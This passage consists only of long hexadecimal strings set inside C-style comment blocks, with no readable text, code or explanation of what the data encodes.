147cc45085485257794ef0fffdcba6045bfb14895cb17fad0f40d5290857f7621214bea3a0c9d243d766a59459ce98a93e3b467f7cf52f75aed882dbb330961e58e346873373be60ed8a20ecdad26e29d3ad3240f203701e067209d16bebcf47862fb877823a5fbf02efc4f3df32d4e6342cc73f4c3b99d020568faa8b7352d3375759f193a777fa0a0f2f47fa203a27c96b16e0beedc49ad6e0416a652c36abe9db02ecb11f7065ef2bedc0f8345a7b5beddfaabe4a1c6ad8353fc1c82e4bf12831cb5f49078055ac4300888d40fb6d63a65525247478f016546731b47993dcea2528c2184aa4bac648388218018100d74a7d105bfa6ff629afe97a6fc6c0d5d3b4bd3769b88a673cf9f7c08725a61b38c540a2415349e1a501eea58c1c0c00ca5c8611a9efb9633080ca5b92e0577e2bd183a3384800c72a50277a240e3358d81ea5dbd315a7f8a036bc1731306cacf163ff37c534a9457d7d0fb3452b97267be62a82fad16b98c94534bb4e818c18d1e791dfe4cd400e64d7fcb2ed460cd8c0ccb7399b41554d17f5f2955c6a74b7b78c2135d6f600c5c32d68dde2fe33e24793dc739a6e3a6478b457b9ff95a9cbb9a271651cae7456337b368c1360e7fdbcf7b7937df6d473287*/
/*8fb293919e87828d43d10b6215c23bc9565d4f0860204710ffc855874313fc65e3bf42bf5089793eefcf742cf27cd62a4b36ad48daf109cdae241de8804039d5d7ef99a1f49c34daee7cc98b69fd5efc68394bc5ff9efc66679f946c83b5da0e16b94818766b826df8f0b9beacdcb7b781d1a59d12d6643d7cca2051e34b06ece94a66632bb2412f0c7f76eeedf775ee0391e6e0df4f20779b8153439050d843b6c83aa852225a7668965ca83e429061f31959e14f0fed8d235b37a9600c21b1bafbf329c475c73b928d1938affb9fb3583ff6bf478d789f5ae6230e2d19b8b1f4fe3cad117ba1c89c6bb3602b39c33736dcb09fd4ff039323a099c37617242ff1e5d682cd3a20f3252539cfbf8a7e4b566969a3d2970fd2c9c860946c0d907eb169ebba1deee460a353386be58b536c579ea38031b386b5a11981459acc20b72770bfff3f1917d4a38c7fa3fe05189797b919158ae35b67a9b0b02a17cf470c387f692c83f8290d92eae97d87c9ef4a44d749713c5841db5f0b85d7ead9cfbaf8d39ac6947ace089f69c1b1bcad94481df2f408e080f51b6be812ef4d71c15d0b8c4345659eef7b1f03a0da1196e0350f92a479eb4d37b0d7cf7bf60278f7f8662f441980accbdb8f05bd32961141a65680ae8675efcc2ad026377dd8cc14e0249b7287bacb80d4537691c21511acabf7138fbfbc866505fa1d4ef387720eac16ab9f14f1d1a9293cee64073db4ffd9f9c679754581c79e325e25f39ecf0821edcfcda5c5270c286dd408e30868b028724a6ff277b1c42e4873269504fad0a09deee533c70c9eca77c45d7b3548df0acb3bb685cec65d8b0616001806ec2935a5addb4f48ea88345b415d10d40cb757d67763ce8cc83749d75bf9105bc4ccc81479b5f5f892af1b744a7461c90ba1e7bb44a6fa87cd2959edd57cfc2d76f1fe8391bf43e6817e3ad61cba826c38357c639218985100d5b46d7234bc07c6ddfcf0529b01f843fd4d7f74e2d631d4890fa604c79b2bd9cca3f0dce0855230377e3408558d270a9c3c21b8199a2450f7a4f8a7f5b8608fa716242479e5d2a52e7e70d855a884760a101bf319996eb95b42679b69ead1e9375ab8df62d26ac763354bf4fa7830a74d8bc138f1f812d51e4eb0dadd566ab90ea1ff5777d5ff0dd9cf0ad3e936603253560b798058afd5249e8230239b628c19f94a52d29263731a29c10aad8fee33762efbe82f832ffbbaf9f82c3fbe7d3c1e4c8512f41910af0ac21aa1f208d210df2d5aa2369e29fbfd03434959943a8ac2f2c24af906e9116eb79e0160878417a682bfbf454299333a40f6246b0b06783377ef72f3a59d0b9443b8748d37a98ae2387cb4fe8210ec4752616da0d5efd9ee157d2c9ebf01a328d2638628d0850148ccfee808d9a205ee54886f3c83c6f6657e2981809439117da1828667580e4758c939e700389c54cbdd8a1712406aca92beedfe52c4c665a20b44f1168886779fd663da553afce7fd6a586d4e958bbd75305f43cebecc3bd833e530dd3023cf200b521c565bb04dbcfc0253d5ed09d5cc954c787ddbde31908fe177e553c4aa4e91cfd9a048dd9c368ee00965f51990e817092cb1320e7c44e84af81061422c9a464f9ac7d594628d21db2d6bea72ff577a982142b98204d8406f9111cf3540f4c46e2d0d0913a735af3aa3f05ed4354e32bb8c07bc3a95a3b79191a9dcf7ba62c6ec527c162bd98252f79312bc48f008e0b98d4c0749a2c380ffa8081352f9119698dfa5aba0e8f31e37ad0056c4d0da32a0ce8ca549cec7c38f718a045b272b7702817e435975951de8f69545ae699e384f6450f0d642e8d385e0360014241246d27a431920d8385f6ac2835568596788fc97e7b1180a8afdee32133da932b6dc475049f965cb1142b6ec0fa8959aef1c8f1cc07ea3230d766e4e94b73498d4242292eb3e8bb79be5ee3444921d7a5f9e67e906bc80d16ef7036bb53cc8f3eb9001114d555c45384d2d08616929285b24e2ce4e5122549ab78f50dd2dec541fad35977a6f0dbcf39ab618835181b998ecc8be1fded6093b61fcd2c8db8ceec4af2183c29450a07420f5688e596717a1e2cc4ea9b2bacc8d21880f1b2343c3ac426fb560189299b3d0dbf93b2a568835b01d18e7d50024051bc044cb994a9ebcb2f26c0ce94e209e0fbab5e33e276f9f085e91f8cf89dcce2bace68e43ee30e21c67c6ffec990676fc5df00d7ce0e913f9af6522910a091e64b78e42ae432791c37f78fba7346fbf83871feb7d6fa49b4eb862ad1a2d72d91633d6324bba086f4f7e3613b0e9e6d9316705fa3ea9f899bb0dfeb0eeafa40d5a74adf23c836dd9f6fda8562c22b56c48d2fc671cea5fe5dcd909286d1ba259d76a1ba1e2ecd43870b9176b966ba7c70e38e6d1e849e7a6676b683341fcfc8911d3f74c6dbe9586ecb98a36864038411131bdde552db5bf38dbdede27a1679cabccecb3b7a36a80e46bc467ac3fc1f23d0cae914cd85f54fc37aac724b090c7bdda6366fa594217d7996c2bb1613a5275c4967f6d429528941b293cce29b18c6aabbe8a0b35db681656e69ecd8aedab7bb85726feccbc737188069a91d545bb02dca0ecaafc2ba70f061a8b920086919d65059a8784e2f0a28a9d2c67e12ab8cb1018ce8db8d8418d6cd04c788cde45850b0a36bd352658f76cf4ccd4fe9d84552c4f3973fcf71a4cf2a9fb2c88108966e115d9a2bf10ea9a19c2b7fe8005665dfba0f2527ab623409057fd8a6c84817c39e4c2d37c6608a4e8ffd9935f3b0e24baf11dc3a0c8747109dbcce609c641f8*/
/*dd7afba72fe357db5bf60cfe08d0300afa6d57f473a85e1a138e6f308205390903927661a2e95bca0323beef59b570c81e5d1da61d68b1ab3c2aa161e79e81e380dfe03f6ff6cfc6bd1cd4c6d7b160108b2e2fa3c8cb1ea1fc311e42c9333275052119efe3929857235032ef1dd2c11414994bd2f2361aeb375071176f9259874217d62f73f18e58714da551bcf8f6c0c6644a4c8052004630225cad6be0c73e3b0fdea639ad21b27be17df53f3b90828f1606305443a0df4bb6f662542f32f56394e8b7901da0fcb1db25ef7c4df1a5cec0552a9d664fb0dcaaae3fc001eae6dd2265fdc8559c60702e8a843807658771a1bf5ab4359654dcd22ac798ba4606a9c892b21534078bef116cce26fc22df2da69adb817097d70e94f657d31eb680f1116d9f159a1f4c4ed33339be4852ec4ed3a45553b693c4449712905be21045920bd478a8bce37f48081a29ccffde37cd46bfce9c85cf143f026000a44d05759d5743d1b0adc9a951948fac8343070155c4f65bb85aa94f9520e799125c15f728e16b0c297b65377f2a73a9e6a0732cc3dbe3a9f8e74df77666a0f1b9f22bd76a792be96e285fa5a95b6816c428814d752165f0b6b5a0ad67043df0d11f72c69e2ce14455ab6ab143eedc0faef4dc4a0606473a3bdca52df48994e12a16441b70d82f7492d8290006735b10c328193ee86714c2181f72d0fd3d8221f29ad53b780b1910b04e5b7620c20a97a6745e82f4145467a9d25d4b64ab98dde4e33dc804b0071c496e7b61db4e56efa399d6278009020fffca31003310fd4258b78dfdf71902e2d9ae27d0aaf220f45bd7080d4465e9f66344e757551cbe32488b36a626d2ab7672cd20fbcf8ae3955d1825e317b875e48e380c920658a15e466a3f06a7c96d1432b52c220683eab41a4388dc4a820510d379750c974fb22317e31aa1e4adb7599f62d5cd2cadc3483b01d7b0ca62bc1b434b77640572335892d8b29a5d288492483f12f4276d5ca0ce7538d105b15cad092f78de3932b7667082c58ced303c7c1c08b1096f9a79dc249f717b836c260175f750c623b8e44bb3f14b35966d3289b57ca290782ea0fb4d2b7862ab78fb54f64fee669df6382453ab62bd9d55b249ec9acd4453d9763501b3ec29bf6c00bd7324ab5a630688daa2192b6800338bb1db3f94fecd1e1670bdd27cb5c822c8a0482a023a3d72490e59180a652ac955b71d006ad3b7a16848da3ee9ed4e511af3182f194f6600bb42bba7757f9e4e5d149e1014c1497c657359337c22fa1f809b349a2edf5c337edc75207e933a5852445fdc61e19353b55e109d91cce71acf67629cc7677dec62a094288a3d51ad153f6a3129e3efe104b0b49633fe49652754a18ac466efa4130445978dea9d2922520cd6b5b055bcbf438996760878027e5efba65fccef4357e24e70f47770e1050d4aac3d695a8b8c28d67f572721f2b18d38f25be0d3070ce4043e3014b056cf39325c8752a9da9885d093a0d7c87120faf89f7c6ec29b727b5e7d4957b8638f77a1c65cbc3d10bb36ed13ee1fa1656034a368b9ea9f6c2815542029538e7a4e3f8baf7f1cfdacf2b75c3b50a3836811cf2465f227512b0278ec7db79fa12b109c145c3cdbc930c81e8de82ba44b5c9ba950f11f9a5c2df5823fbb2618fe87ab5920e57c19c5a23c73e3452c8cb2725d96a6c9161f619c1cf650f2489327f9e9a47ee4ee869d126a49912e24076123ba782f69d8ba3de4b2a33a5aad9ea0e36242f02e011cb212a128d0bafc8b69324203fcc8e4c93c181a619566a1b5bccae14ee7b94f721591a25c3af7906d49d2393da371c69799e766d050e78a184c523257f4af9171998f8b8be4e70e7f650fcd10daa9a3aad5b9b697150f076aa8d95cbe649e43a215782804a934eb35c57b8df929c8d3fb09b4522732a299069e6ddff5ac59ba949a6afb9431c77b3dbaddf69af95e3632ff0391082b7d95655b09308ce46a961250e046471131e632d6086496676fdba55936bb87c5fcd80198a6c6789456f4a6d011915dc05aeba951705891d0dd3706c82d364931955c77eba5327543dc7239a2df92b9182b92ad3d5d85fd952d93a0f2e7aac86de3b8d7ad1ba5352e2a5a073ca1cce26dcebc2a50109230549411e58b2b5c8c7fe4125502ea25051fb4267802a3735a7abb08b8b7d12fadb8f719db514ab59329bf53a6eb62605444d7ae9c2edb76c5de9fe356c6eea32a02182b7b6a4d021192fbc8e1082f08e217e28b67fa0c969bd15d5cb9f1c9b951c5d73799ba916fc7d11df5ed4c6c2603e3ad1d7bab4b8e33f3dcbd8bbd88e64387632f51f61b530ddbf7d9cfea10cb670742328dbb4c3b1e9328bb984f1acc9d279feb9c3367dd7fd31a24b1796251bfaafbbeec6e7fbe5b50b09c3eb0cfa9fa36a9736eb23b9f1cef4ded783e267f02b0b61c48120180cb7a7cf3396c448619e9acb033e80b6238da14988cd39f0c9f20b17faa77e3002a9c1fa35454e7d0e074ec04bc23bd3044085bf1feae5b42f441131676ce1572f7968f120274705a4decd73afd83236ce5e6fafc42e0ed2519f725aa21bf19d07f6de061ac8cc404f3489b889dab59d0c63c6e84c2ebdcc73689236268173e636f91018e5d77b98da19f0d7e2abd4cabbfee3cf0007ba70b255278ced0901733ca6e62ad192aa5e3266984c9e11222ead84af391835244f81ad03cfab93f96a7578dca64862b798492a4bff8d50235e3abc5b43674de443f34e9175155673ac63aa3db898b17157867e099ab252b5786713fdec3ea705de94718c8a3e988ac0396e683ac46*/
/*6301afb2dd25fc6918a3b5c35458a456d3b0e8e0d350848f310da1b64bfdf5112ccd0aa0c7e4bc9ab5df8695d85437f9523c69bfce891a3fe6a2940e720e85586b2965e929b76f93141d583eb98072c60f7707038913546648540771e2bd6f2caf04efab7e9c1ace88178941bb6616f3997356826b94537da1ad2d776e196107e1f9be5c64d0f757ee7dbc7da3b46c5485d91a6371b9f61d28509af6803e88cd4f55160dabda22e658033261dd3e63a346f0dbb524ad6e26c46240db510f241079bce4bf43666c04f758a54009344f8148a6b44c3b18c2416d12a9c479a8fed776ea95615115b2218882a24dbcef87e197f6f2c54481d72c5418fb15b572d7e0ada90faa6056b7b1ce71eb3bbe264e82f7d46b2ed68752f007abb1abe993e4a923610544edc460365c46cf6461a2b16027d9869a2e218ef4a358f4ca2ac2d1c566c308d067ea48cdcf9cb2dc02e69b6fd5301c7facc71765d3737052b96c5d0ef1848be7de842206a8b34c679f27b07b4b1e55ec7810ca38e2f88da7bb48fa95b60423a60f18ab69d01f9745388b62951b324f4b66e61d6c5e427c4ee282453eb35cda01c732e489845fbb39882059f66bc9449ea3939a405f1174742f5637f25897bd8b62a879a0468203a257e7f8d74c711c60c9d0ff6fac66d6207cf95dda931e26f23014239bbcf1806d00ab31bfdb785e6ce5c58de9f14b6b51474a6bf8ae23b55a2465cb08777f8e7913203690f23004c009bbbbfacfe34bf74d73b378a5b8fcbeed57cbbfa42885b4f120ae51d197331c65c486295c63e12cae9d248de0faf1045374bb3e34dcbc5fd71cd0b1ba7bfb938ccbb9f6f56ab4beec093b323f6b05408a52cce8e6b20dcd404e2c787f43d28d9fe1d1656bad929785130eb55d62b310dd683f531c9c08f42ccca87ef6d5d355771b7a6f572aff428f606cf859eb9b3b79aaceb98fc5fbf664cc5c72fd21cd22f889ced968db93999a20c3890a1dad1b4f7b4cbeaae2005990537a125bdac85bc26b757a6408594c49fa64354e04da8f214e00a2b0cbd5dad440ed2be89b4770cec6a343664134df8eafb1ddbce4baacf7a5f89a63d5a653825b3731c789fb31bc30831efee7e6e7a19dbe031e729fc9031ebad353c31ccc1a62649e6fef8a332f915b6c366e4077f60f5e90242dd615562d065cfee10f2ca186457cf230cddf735e8e9bd834dd5ba42947d2290bf313bcaec3e9e2503e3070b02b36fcc4d8ac0bbf6d2539d4a6bbb50539e8d48581c5e1d81a06e34e9ed30ac91a815b130cec83747b8a9aa611b94ccca35ff282d555ee781571eee5b74f0ac2be4c2365b711d402cc44af131ac48c161c4f8fa87e50ba34ea704959cb69e16e5a567408c228c3e6ebe54a169393973f3fbb88a73857e904341f2f79ba77185932c0d3a32d37aef7d94ba5e8010d0606de5d64bfe918e21f0dd6763dfac8b151e089eb27e94572dc34a4b35df91159d2ce5bbfdb391c464608f3b7d669296c582dd2cde3e3dccc0c03434246cadb96fa6d8799267e15c079c707adc045d582df544c027f1bf5a475c7c30da08f7b72a46ad1d387b7be17d17e54207be3d7b9e812b7d29a3adce3682226d7e1acbec5c6a351e4c26a79040d19eba74989b63d01523f1a16ee98f733fb146cbd8af09186a4859eb23b51a5b94a7734434ab696e76ac1fe24da60e3d540fe40457662b1a66ec960359ae94070347ef48e67ca79408c0e849e4cd69cc4f340c61f2071b3aa36d065f43054908e562ec8c963818505c23d0b15cd064e5fba62e7ea955272d2ba668dc55737f98317616c4e984eaecc6d70bf147dff888ac6f36fa6f5dad95f7903a7261bfc011d1894e93731717792c43158dcf12d5ce04381602de033751c9fa764ab867f764a4baa8179db17bbabf0787ae1fe5f646bf68df519171c66c5ebc2281ce76a2ff8647d0505c66fbe376e0a65dc0f725c13d7911eb19daf1ba4ce3047fa202c6b342935d47adc3fdace5896f5ef369b056312459e682804d9fe752db7c45d91c03e1c9288df9a322232fca7cc56ab15a6e35bfde44b672f31624ab2a5cbef239865c0b04637cd5c6f1bed6db4c160babdbb609ffde1c5821accce98eafc9ac2c52706dfa7b98fedd91f0f1ae0b512cfbf49e09af5da4722d3b3cd0b8ef0766adbc871ee554217b9d912491723c989768ce8991bf0ce55ac350f06eb92ffa363eadcfd3fef4a6a5de8c90ed82e1c2580cd2fabbaca08e8561bc4936cf96c1af1f6436b92a8d69deee867a117a1f0f9fca62036ce1dcdc4e63600a98faaf3f1483817d3867c0200f4e1c3929abe3c95493dcdc70957d2e72f74fb761de073b3f0d33a7c9f72ec390978b6e2f2826456142e0f59820772fc361deecc3a4e95cf252489e50bde413296e5a347d121dc72fc7ce13cf33a05c2d452fef8f290569eee2f8f0a8f7bdae99c71914f0195400f2c63a371d652511c539f80641c8bca88459d52b5931b823af106e783787657fb17b28b2f9d86fd04f9c95cca177e77e74473f6bd088c40dc894f27cbde3b6500b77a4279a62e7b23eb118cb8e884959dbf967960fb9677fa967fe7ff9292e9c54a471c998e3e125631c6ff49ac3e55f83624dad7182f8446efd238f20fb1a40e59e77e7eb96f17e5216f69de305d8c78902282d77431e9e398016cd66db61bd5d1e1fb3d3dd823c343dc9743528ffc254e82d91e9a72317e3025d6e983dab3ad46d54168cc44c1df5d1cd48a531e0616512f3bfb82630c1ee4a9c34e0ff40a4da02369b36e616b75af770c36d039b8f460a008c445841cd71e01ba9864*/
/*67d9b07f51900938fabc7ffe9108833b2ad9613e37ef20c6de27f21ed9c69c072cbdb957cc75d6264228c0ef3799c7ca17fa9782035735bb36d05d35f57f28424b71d0e6f2b740ece6993362aaa9d0513c06a0eb86661d4490a9fce266cf00e1286d44a7958b102b83d3640a354940f9478bfb2e20bb9f55d868e9a7fcb03a51f73a9ae0c029093aad5ec73cb43b7557cbe160a3bf16f80c6db3dee5fd76052528b9cc9f60ce3dc236b1a41145656bcddacf5564b537fdd9311408ea23b5262a02477aa8f417be0393534374e563c2440c177e8916587e43d933793c109f7d4609f997ef0dfc326ed27cc4c3cd72c1d123ecfddc50254a44c41dafb52cc2696c56698602c86c5156c4c40a55d005ec2c7939eb9a1a8b021facac547461af80f39c0c6bad0c747d2fb0d98ce96184f165fa2f865deb286004e0fd289ef5c24f376fec3993f4d5e6a38b129341a3c685557803e745a8dccba540acd9a16793aea80a8ac26381033a1487915a9cef2f8151ffd738378c14d643ddcd098d7e390778e2ba53a79dc9934f770f6b8e973b9e1357e22e5fe9b16dcc0c33de31873294b257e0b54e3f817996944615a60aefadf0337a41cd7bbf48db5485d06030165da0321eaeff59d5d0effedda25daf3078acc7c54734f732864e17debcdd7df48b58c8f95abe06139daeda97ba1b899ac917278ad00ec053bcd6842e5edcb46c69f0115e08983032d6130fc57d0ab39764ad47303f5ad69c004d733e1d3a62771120b7dcb2ea6528c6c99cd1d50182672a2ae9d57c0b37d7b0a6e0a44baba5f9e7051780f2fbb91276859c4d4125e644a346436d4026f29704c2ff95c0369ddfc348ef9f4049d8dc3fec4852103d602d1a9a1dd1fc3e3d91e9a856f0470e3004a916e64bf6562f5fe2c3facc35c96a56a3d880fa4a099547b05e4844d59aca35ebe2242aa62693a9995a09b38b673d6013f467b2d783ec60520404f9d725df6f1760e8c0f23126f44cb6c20b04f1465b31ec5a2b7ae7a2788496e72d1e9e46cc7ec76767291caffefe83854c5f3681d83916b5ecac3debfe27d7a59600f9d2b86f4242f5fe37b637c9a8a290a14fde2a9f6905807213b6b855687fddb2d829538bc126f70de45685aa298dcec70bf8173e02931fa6c20f2d4f9b9d2638032ebd6f00f993a8d4d00add260a84319f4e4fb9d54cfd2bac70eb2fa867de9f167222649c3b20f8f763776c554a99701ceb241464dce5041c7ebb9bf21c6b5bbf7aa318330831be76c42aa76a85dba86045672a66cfad9756f4662bcd43ee264188c86e64768342dd342adb835ab91479e18aafa47fbedf04b32f11c9690442edc2bdb59d1dcf6006fc8f8dd00722042adc081e3b0b4ce11814609e07dab0e9675d1a1d60273c5570c4778265840fd509e2c399e6c733532993819fa18a903d650993f42d392e022d1dbdb3e14b2b182274d895fb3104f49bd2434a82add442d72c107abf5ae546d9e1404772c30db0ee22811498989693eeba13a962bd236e658c8670a44b1101fe6e3a5d58b5904ce60f6680d14353780f2014b684a8530456e1c2d5b05e55d8d86465227b4d63c3cb6502a58fdcebd71316f18ed2adfb445e61542cb1d7a3ca1fd318aac4111e98233f3e69782d149305ec69d1a37e7df46160390f02e39315b0adf11b3e3ad5a2bae7a97b27710506885e11824dbb74e18d6a96043290f2ceb36b476bf27ab7d6175caf72a0bb289ef8ce2d13e9ced707ed61d8599306f9503b144a79976b1a08d930856dc3f2c2dfb4fb0c1cc05ec25088f97477d2031fc777c48e8d38aa05e2f410e2b6a4319771b6895cb04b716a78763df2d0a47c1b6ea8a6788921fa2bb9616ce27c1df8a7d22bc5ac53c5df2ebf71540d611dca16a81b9a63b308c9e398a53ee9137d56a3d6200cf3669ddaa8819fd9cd12a8041faba2bfbd51d6608e82d2f4ef231a5c752e843feea2891a776d127d14989d0d7ac80fa229defd380e1db11cf7fcff18ae4aa062be58f311724c1689e46eeac63f84bfe955d83dd95351c647b73098dd3fdd57beb839745bfd794c24d37e4a2ae71539a1bf4d24bfb7b32bb84f2dbfe4e715a591b1c453211b1f81e234671afde89847c30530c821c6a73cf81332b6ff3ec9a2eeebde0029a4f2d5f0ebf96a2cffbdebfd92385bbe0af8cb252efa0b12a37ffc7cf7938c7f3d4550444f19a0bdf438ff4a2e4464c841d2f3b33424938e04022bd648098a27c1bec488490375f0bdacf7a0564e4d89dcdc04c69d003d598cef7f0b0c3a26b473e934755e1c531cb39de6a8a1d17b158f0c353b13bedcdf6629c3228f88c0ff7b17976d8bbc6e0ccbeaad954ab67c43a2fdcc00c92cfa4eb1857f37f5ab7927eb25020b157f8fddaba5102cb525e0449bfeb6090e17476f2d081f635cb9e621b4c589b73a628f9a3dbbda46ddf25f53716fc470c3a44b37bf57459396ac28080d71fb114c6a0a316912e1c84c2562cfdf4469553696124de121e159ba7cadbe1612e6a129e82ded4bfa48b5dda49fc540d22971f6a5e82cbf9a0b211ea501c5c60e7ea704d2e249fe45055a9dd384c18f389af6c01edc3b438cc46c94a1225cd0b878f4cc96a8f06229f1a149646b4248f3a9472367d62bf78348b97ed7ca83fec6aa172f5fa21dda3269634bae51b7cfd499519bd81f3b69072f7db4a599507e184729aea2357ce78f55a2c4be22566d629aea5234c3a0ab0c6e0abba1ff1a69a016f914afde056ddd784678da5954af659f2c13de6b7add435cc2fbde570c63db84926e796fdff72ba64e9887f3de4cbd3fb6ccd732*/
/*00c2de226f14cdabce18b08c18263b1417b54ad11533e651d0c0c66f4f8c64f9e306b3688e737c639cb199bcf5399e099f244b88d3aef091c559e23fd4689898c9caa99904817203d31c5433aa4c283365c3ff2a925570b283860d28277ec07f8155cc3dff57f4e701322be75848385691d7574525f206dd2f61c98ca5abb9b2e1d00e758cf437b17e9f412c93db22e522345e402f483be268d1fd32e9203971a7ba09000956ac6f2c9c277c9b42f3fa2d3a5220231e58cb5b23e04f9ac978b3ca1debc8dff842a69d6752d25cfe97382273d2c0cf2cbe1b26ee27f77d1d11c9113fd506cbea5459597d1c6d19cce3bf589faaed3475566832db71d2250387f62aa9553cc2ea5f0bf55267c2746a30e150ac2c00f6b8fd0ef4f504fc24a5e67be3c62b88dd9a1bd88ffef8d735ebbb2516920bd71361cad324538164c7e70f97ec5bce54e97e3cba965b97817fa7b0b7c2a821566d5599a1a6dd66cfb3710399ae5e07c0f4059aebfc738d36d00b6d274492199bccabbedc2f9e602562f6b3d63c735a9cc71a03846710b4934dbd6ac96a5f625a9303ec5caa9c5449e7baad9591d9273f0556046957edfc15e986b210b2ab67e3493d6cf2552c39b9708f38063c9814a01da42a52b96122057046736626b2dca6949b5fae0d159f47c940517d8292f94f1cc1eed4aa0dd08bad3e771f21049e110f9ff0391059c03bdba4e2f63dcc49e66cff869c8edf53f44d0cd00f0421fbbe840474ec679d0093451e263773fe9f942124fd81160a02957bba3a492bd97a64bd16d08615f81957ae8b7c4c20c6ccca355944438ec1db3cd184d6553d021eb31aaef5db33c62de3621c1f22dffe1439cb97c65b3e447eaa985a7c1e24b815a14e370a3c7987f35728ad6ed2d0a9556b79ba8ffc92f513c848d73db4288ba3342180540d0338e607832f62d35fc2177af038b9e9ca51c8d14dd643b17abd9cdd4d8d9f79913dd7e3b5a9af83b1b258e0a0de49fc18689416651240cc5bde1c389808a38207cbcd1809f01f63c1b8d01395d91e68c330debe0e36c8139f50eb8f8854f6ede9aa5744347383a1607b744d2261a8e578c37b209c6bef3dec3e375a95f761ea47d3a70be222ca9100f7e5b48d66225fdc04409fbda90d8cc042dc7d0e501a8f3b3e8a6c286c4bf0fdaeb6aefb5245c3b9806237af03f4bf74ee7769c08373a4f28d150e0cea3402cc73d3205a9998b1e264e386ad738f6e28cc1582d17311e59f1830c3336b0d0a81a2fe7735a7dd2b965a46a02ff6d1bcc4f5477b9cc7de9e3c1f65e742f323cc3e8ad4eb9a556eaccf819bd5628b84d6cdfb663cba90b2738d229a88625f08c240e1c1e5d0db204354e88fb04b2ce2d294ef9a4df713c92cd9f9c0f818dd7a5eea3e665b8c0ae6a6d439e259841155d03c90aa8aea3b244de7b14a79f6deaa48fa774f94a100a5b36ea153d91997b5dfb7df811ccbf98b312efa2ab1bf0edba2877bd3332b2b8331edbcd12b68417560166d107e1fe2253dc6631d93486159e6c57c36739ed6fbf8d15abafdc139764a11f6047342be84522b1a1eed991c89488fe38501958c8ae86e3b8976113d02abbed4e9736413fe988ffe3a1e7bca4ecdfe6afd909778702be6cba83ad4f5ec1bd1b70fde75c2e0858262d0a6340d6e92a9c3a1f2d8df8c755b535086ff8d073a2e19af92ca672d01149cb283482cab22e2e378022b99555733b5af6d24e47543f1bb2c680b9d05573983688a89911722cdb7d1bf6a00e816b973cae337804c6ec1bf94da983e57214c97f7b0eb051c1648314622627690785a4f12d0f3be6793ebce28c2d5366363c90e623a205b36767a9d0a60534a85db0e17de96ebce236d628d831d3796823b445b9dc7b803ffe6bf6e93ffff13d1f2050d0f8e4cd1799358bf22c7ace52b7048bb1557e0d963fb3f46c3f85c36bed1ff81381ef1678e810979f99ce369286015c83905583a1bbb8c0feb0c39c2f05cfd7f2b7394bfadd1dd3e990540643ba9b7f5a329cdc96d1e4bfe2556ebe9b59bc95b0c83f29dbbabe89b4179b116345e43f243cc40b7c86562420bdaa7d4aa74bf7bd980bee44a2a17c70042d9fea9463f6676c1ad7af91470248a78a7f7e7378fa29b3cefc132c15697959ccb4af59c1e4209f664a29e4801e9e2887b04ffb07f1890bf69f28543c27673dfc3cb92f3f7be3e7a315ff0b4221236f90ac1b5a437ba8532047a354dd902e7cad81e4a35c727bcd83c37045ca5e7f43764cbe2414bf273abb236c0ea9823826fc996390a08d375ac1e1045af50e786cf3f9b09e94b085e6ed9120ea5e525acd1790049edb8d40d687f4e6ff0711328f4c8478ebcd69f46eda140f0a5290a5b8c03620748552f864f223c4693f37232edfbd2d8f203a3d5fc6de0332e71e0030f380df8d547e2e3d7ad84e00570f09d760c70c856b1ea4e6c85cb69c2624c58f9b90237779545e93aa4b2a11026523a55e08cce758d1fdd5197721a5566d85704fdbb61286c982fd9f48df0d52138a7d3f24e25a0b3ca2fdd784d09d31fe7d42f1f5f124db2173417f818b62177da7e8b33bb86c7c7a5a037bb523ce950a60ad8dfd0dbcd82ef1e5953e55f144ad5c495be73242e66415b1a369cfd5c6b79750715f51cf453e56b197f99e908bf5fd52f338885ed96a8a8a0c6846fcd997fb1672d9d0ff9a46987caf66b396cd563e2ec20f5518552819cf8542154671aa333dbda266c7957428052849826bc22136c92f783f97fe6f82f743d632e7c5dc73e66a436d63f9ae0c7ae5d7c8b3ca3dcc66283ade923efa9757c99624a93*/
/*d6a1158c7c86d7fcba4f32d4b20a7680d92acdc4ef99e363dd8e92beaef5357c4f3f026379a8fb4c42ac38de55a03cb64ecab5efadc6718cfe8e97c702535f791526841c3a78cc38867bbc721562056bc8821e20eebaf0d470bbd335cf504278ae64dad56a8b8d6f19d0be7af2a215b042c92159d212fb106e0af110f031eaf228c1de1b171c5bd76f903ed86f54735ded08a1ab60b9424e657020b65d7c25dee96176e97109c37a07ebd4a5fb7b44d9f7ad12f0c6d2f39b837588156e8a3dd2a849580133212d22b03188158cc5df694536ebcb9d38e833b056422835c747071604b4ccc6b00914cbde5217bbfb36ac1a40382309d38b97688dd31ede03f9e127bae86fd8a5e1a73c0576b1cf0301c67f6b6a1eee524fb565a72c2bd5f91598345dc7cf12f42459bab3a798b996d7ff6ea3b254e7678a0274c49d4cc38b6ae36f5b01af897e0b67d09bcf92262b6dff433db5681a67cfcf348708e868584850f1f7ba6b2f603801937a849bf2b1b3675c194fc956ff72c35aa6bceb4b76f8ae541deed0ca25de7aec66fddb1d17dd4747c6137926a5de030a1913928195d174567a14f3a5da21005c1b99762a75575b2afc93763bf4c7135fbd1ef2488f7fb123b13efc883f56d3feee2da579599a54f832427d89ff2202c3ae309a06dd07ba170bb219122b937bbdaf379507c93d45368d5ef221baa4cdca004b80282153d2900df14670bf806e28dd32d06a6cded58a8961130d1791bc4b49d52b91587463545e244c0fb3e9cbea58f4c4a6db5b42a0a5969e54410632608bf038ec55282ee045b3d05853fa55cbe4eaf16fe1e71f88b7adfd2607b2e33847c169dcb755563c8c36dec66dc1d9b9672c184a4dcf4a14de515418af11c8b2810b3507cacd517302a6771d090d49b6d1e5e78c8968653973e43f0c056acdb8dd8c09dda34f3dd18175164714bca39274b685d6fd6f2a3a5e42d599e09c7ace31b32caa37cc793e7cde421f64ea7709a8ed70df11b3b5df32fb7a1ad31456e75d59098b58489dd3091e3f00c7e1db75a05e8680d3aaa451744084821a42be6b8285789c7f2782ff4302c457d65cfcf3acacf60dd0b58cee5d58cd3341b9605ebd6d5fd6b58649bb66da397bd844888051edd7c8d09cc788c1cf3f509d6aabef5f3579908def5267c724ebae982afbdbb9c39e95928067e9cad176521460fddaee5b3fe89020ccfc8ee88ad505fb7c5780703269e41980b9784476c0cbabcc4c1879d0f5d82a19ec94db0703c680ed61f2e5ad8f5ce0b6d62ae66c848de2e5697540686e28ac4f849adad948e2acdef098081ccaefb1b5a741af1535d05acc8b8574eba092912cd67451af26e8ce4ec619ecc9d776717167a062afeb2f6446bdc1a42926ec7d45135664711a2a953e7a89bb9a17156cd3ec1c038b9dbc38fcc1c8a9707f1692d97edb67aeca33e2c54f9b04408a37d320a1c5294e86289c4a680598f3149a33dd5b4d7193461f0b8a96922aa2eaead305d5473c